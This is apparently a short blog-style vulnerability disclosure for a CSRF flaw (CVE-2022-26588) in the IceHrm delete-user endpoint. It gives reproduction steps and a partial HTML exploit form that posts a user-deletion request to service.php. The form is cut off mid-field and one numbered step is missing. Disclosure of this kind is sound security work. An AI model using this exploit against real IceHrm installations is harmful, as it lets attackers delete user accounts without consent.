Devansh Bordia Follow

Apr 6 · 1 min read · Listen

CSRF in ICEHRM 31.0.0.0S in Delete User Endpoint

1. **About — ICEHRM**

IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

Vendor Homepage: https://icehrm.com/

Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS

Version: 31.0.0.OS

Tested on: Windows 10

CVE : CVE-2022–26588

2. Description:

The attacker can exploit the CSRF issue and delete any arbitrary users from the application.

3. Steps To Reproduce:

1.) Now login into the application and

3.) Now try to delete the user and intercept the request in burp suite. We can see no CSRF Token in request.

4.) Go to any CSRF POC Generator: https://security.love/CSRF-PoC-Genorator/

5.) Now generate a csrf poc for post based requests with necessary parameters.

6.) Finally open that html poc and execute in the same browser session.

7.) Now if we refresh the page, the devansh is deleted to csrf vulnerability.

4. Exploit POC (Exploit.html)

```
 <html>
 <form enctype="application/x-www-form-urlencoded" method="POST"
action="http://localhost:8070/app/service.php">
 <table>
 <tr>
 <td>t</td>
 <td>
 <input type="text" value="User" name="t">
 </td>
 </tr>
 <tr>
 <td>a</td>
 <td>
 <input type="text" value="delete" name="a">
 </td>
 </tr>
 <tr>
 <td>id</td>
 <td>
```

```
</table>

<input type="submit" value="http://localhost:8070/app/service.php"> </form>

</html>
```

About Help Terms Privacy

Get the Medium app